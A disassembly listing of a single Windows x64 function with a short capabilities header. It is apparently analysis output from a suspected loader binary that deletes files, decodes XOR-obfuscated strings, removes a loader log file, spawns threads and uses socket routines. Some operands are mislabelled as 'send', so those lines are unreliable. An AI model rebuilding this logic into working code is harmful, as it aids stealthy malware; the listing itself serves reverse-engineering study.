Function at 0x18008a920
Capabilities:
Accept command line arguments
Delete file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x278
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
xor r14d, r14d
mov r13, qword [0x1803a4568]
lea rdx, [0x18008a8e0]
lea ecx, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov dword [rbp + 0x1c0], r14d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r12, rax
mov r15d, dword [reloc.WS2_32.dll_accept]
test rax, rax
je 0x18008ae8e
cmp dword [rbp + 0x1c0], 2
jne 0x18008ae8e
mov rdx, qword [rax + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdx + r8*2], r14w
jne 0x18008a9c0
lea rcx, [rsp + 0x30]
call fcn.180008fd0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.180007a90
mov rcx, rax
call fcn.1800c2550
lea rcx, [rbp]
call fcn.1800c5140
nop
mov r8d, 1
lea rdx, [0x18017c2e8]
mov rcx, rax
call fcn.18000a800
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.18000a800
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18008aace
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008aac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0d5
call fcn.1800d9c4c
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x18008ab22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ab1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0db
call fcn.1800d9c4c
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 7
mov word [rbp], r14w
mov esi, r14d
mov rdi, r14
lea rbx, [0x180183858]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
mov r8d, 1
lea rcx, [rbp + 0x40]
call fcn.1800c6580
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x40], rbx
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx + 0x50]
lea rax, [0x180183858]
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.18002f2c0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x3c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.1800d4974
nop
test ebx, ebx
jne 0x18008ac2b
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
cmp eax, 1
je 0x18008ac34
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, 0x64
lea rbx, [0x180183858]
jb 0x18008ab40
cmp esi, 1
jne 0x18008adfb
movups xmm0, xmmword [str.SWQG]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1801864f0]
mov word [rsp + 0x70], ax
mov r8d, r14d
cmp r15d, 2
jl 0x18008ad9d
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876e0]
movdqa xmm6, xmmword [0x180187470]
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x18008ac90
cmp r8d, 0x12
jge 0x18008ade3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x18008adb0
xor r9d, r9d
lea r8, [0x18014039a]
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x18008ae3b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ae36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0e1
call fcn.1800d9c4c
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x18008ae8e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ae89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0e7
call fcn.1800d9c4c
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x4c], r14d
lea rdx, str.__C:UsersPublicloader_logs.log
lea rcx, [rbp]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x30], 0x30
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x48], 0x240
lea rax, [rbp]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtDeleteFile]
mov ecx, 0x30
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov rcx, rax
call fcn.1800943d0
nop
lea rcx, [rsp + 0x30]
call fcn.18006a9a0
nop
mov r8d, 1
lea rdx, [0x18017c2e4]
mov rcx, rax
call fcn.1800285c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x18008af86
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008af81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0ed
call fcn.1800d9c4c
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
call fcn.180069ae0
nop
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.18005a840
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18008afeb
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008afe6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0f3
call fcn.1800d9c4c
lea rcx, [rbp - 0x28]
call fcn.180069d70
nop
mov ecx, 0x90
call fcn.1800d9c10
mov rsi, rax
mov qword [rbp + 0x1c8], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x1d0], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x80]
call fcn.180007de0
mov rdi, rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.180007de0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
xor r8d, r8d
lea rdx, [0x18017c308]
lea rcx, [rsp + 0x30]
call fcn.180008fd0
nop
mov r9, rdi
mov r8, rbx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1800137c0
nop
movups xmm0, xmmword [str.s_vnd__RXOJfSSJL]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x180186508]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x180186518]
movups xmmword [rbp - 0x60], xmm0
mov eax, dword [0x180186528]
mov dword [rbp - 0x50], eax
movzx eax, word [0x18018652c]
mov word [rbp - 0x4c], ax
mov r8d, r14d
cmp r15d, 2
jl 0x18008b1d9
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876e0]
movdqa xmm6, xmmword [0x180187470]
movdqa xmm7, xmmword [0x180187500]
lea rcx, [rbp - 0x80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x18008b0e2
cmp r8d, 0x1b
jge 0x18008b227
movsxd rax, r8d
lea r9, [rbp - 0x80]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x18008b1f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x18008b244
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.180008fd0
nop
lea rcx, [rsp + 0x30]
call fcn.1800c5890
movzx ebx, al
xor bl, 1
call fcn.180013d70
mov byte [rax + 4], bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x18008b2b8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008b2b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0f9
call fcn.1800d9c4c
call fcn.180013d70
cmp byte [rax + 4], 0
jne 0x18008b324
call fcn.180013d70
lea rdx, [rax + 8]
lea rcx, [rsp + 0x30]
call fcn.180007a90
nop
lea rcx, [rsp + 0x30]
call fcn.1800c6180
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x18008b324
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008b31f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0ff
call fcn.1800d9c4c
call fcn.1800c2600
test al, al
je 0x18008b332
call fcn.18003a760
call fcn.1800c1da0
mov ecx, 0x30
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r14d
mov qword [0x1803a42d0], rax
mov ecx, 0xc0
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov rcx, rax
call fcn.180013530
nop
mov ecx, reloc.WS2_32.dll_recv
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [0x1803a42c8], rax
call fcn.180013d70
mov ebx, dword [rax + 0x88]
mov rcx, qword [0x1803a4588]
test rcx, rcx
jne 0x18008b3e5
mov ecx, 0x30
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov rcx, rax
call fcn.1800943d0
nop
mov rcx, qword [0x1803a4588]
mov dword [rcx], ebx
call fcn.180095210
call fcn.1800c3940
mov rcx, qword [0x1803a42d0]
test rcx, rcx
jne 0x18008b43d
mov ecx, 0x30
call fcn.1800d9c10
mov rcx, rax
mov qword [rbp + 0x1c8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r14d
mov qword [0x1803a42d0], rax
cmp r13, 0xfe5e11
sete al
mov byte [rcx + 0x28], al
jne 0x18008b4ae
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.18008c5c0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x18008b4ae
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008b4a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c105
call fcn.1800d9c4c
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x18003bba0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rax, qword [0x1803a42d0]
test rax, rax
jne 0x18008b513
lea ecx, [rax + 0x30]
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], send
mov byte [rax + 8], 0
mov byte [rax + 0x28], 0
mov dword [rax + 0x2c], r14d
mov qword [0x1803a42d0], rax
cmp byte [rax + 0x28], 0
jne 0x18008b622
mov r8b, 1
mov edx, 0xffffffff
mov ecx, 0x1e240
call fcn.180075240
mov ecx, 0xb0
call fcn.1800d9c10
mov rbx, rax
mov qword [rbp + 0x1c8], rax
mov byte [rax], 0
mov qword [rax + 4], r14
mov dword [rax + 0xc], 0xa
mov dword [rax + 0x10], 0xa
lea rax, [0x18014037b]
mov qword [rbx + 0x18], rax
mov dword [rbx + 0x20], r14d
mov qword [rbx + 0x28], r14
mov qword [rbx + 0x30], r14
mov qword [rbx + 0x38], r14
mov byte [rbx + 0x40], 0
mov qword [rbx + 0x48], r14
mov qword [rbx + 0x50], r14
mov qword [rbx + 0x58], r14
mov qword [rbx + 0x98], r14
mov qword [rbx + 0xa0], r14
mov byte [rbx + 0xa8], 1
mov qword [0x1803a4348], rbx
mov qword [0x1803a4350], rbx
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x180070080]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x30], rax
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbx + 0xa0], 0
jne 0x18008b5f9
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbx + 0xa0], 0
je 0x18008b5e4
lea rcx, [0x1800756c0]
mov rax, qword [0x1803a4350]
mov qword [rax + 0x38], rcx
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1803a4350]
call fcn.1800701b0
call fcn.180013d70
cmp dword [rax], 0
jne 0x18008b7fd
movups xmm0, xmmword [str.sYWP_XP]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180186540]
mov dword [rsp + 0x70], eax
movzx eax, word [0x180186544]
mov word [rsp + 0x74], ax
cmp byte [0x180186545], 0
je 0x18008b7f3
mov r8d, r14d
cmp r15d, 2
jl 0x18008b7ad
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876e0]
movdqa xmm6, xmmword [0x180187470]
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x18008b6a0
cmp r8d, 0x16
jge 0x18008b7f3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x18008b7c0
lea rdx, [rsp + 0x60]
jmp 0x18008b9c7
movups xmm0, xmmword [str.fT_ZRUVV_UeOX]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x1801864d0]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x1801864d8]
mov dword [rbp - 0x68], eax
movzx eax, word [0x1801864dc]
mov word [rbp - 0x64], ax
cmp byte [0x1801864dd], 0
je 0x18008b9c3
mov r8d, r14d
cmp r15d, 2
jl 0x18008b97d
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876e0]
movdqa xmm6, xmmword [0x180187470]
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rbp]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x18008b870
cmp r8d, 0x1e
jge 0x18008b9c3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x18008b990
lea rdx, [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x18008b9e0
lea rcx, [rsp + 0x30]
call fcn.1800091f0
mov r8b, 1
mov edx, 0xffff99
lea rcx, [rsp + 0x30]
call fcn.1800750c0
lea rcx, [rbp - 0x48]
call fcn.180041290
nop
cmp qword [rbp - 0x38], 0
jne 0x18008bb21
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x18008ba62
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ba5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c141
call fcn.1800d9c4c
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x18008baad
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008baa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c147
call fcn.1800d9c4c
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x18008baf8
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008baf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008c0c3
call fcn.1800d9c4c
mov eax, 5
movaps xmm6, xmmword [rsp + 0x260]
movaps xmm7, xmmword [rsp + 0x250]
add rsp, 0x278
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8b, 1
mov edx, 0xffffffff
mov ecx, 0x1e240
call fcn.180075240
mov ecx, 0xb0
call fcn.1800d9c10
mov rbx, rax
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x30]
call fcn.180007de0
mov rdx, rax
mov rcx, rbx
call fcn.180055700
nop
mov rax, qword [0x1803a42d0]
test rax, rax
jne 0x18008bba8
lea ecx, [rax + 0x30]
call fcn.1800d9c10
mov qword [rbp + 0x1c8], rax
mov dword [rax], 0xffffffff
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], send
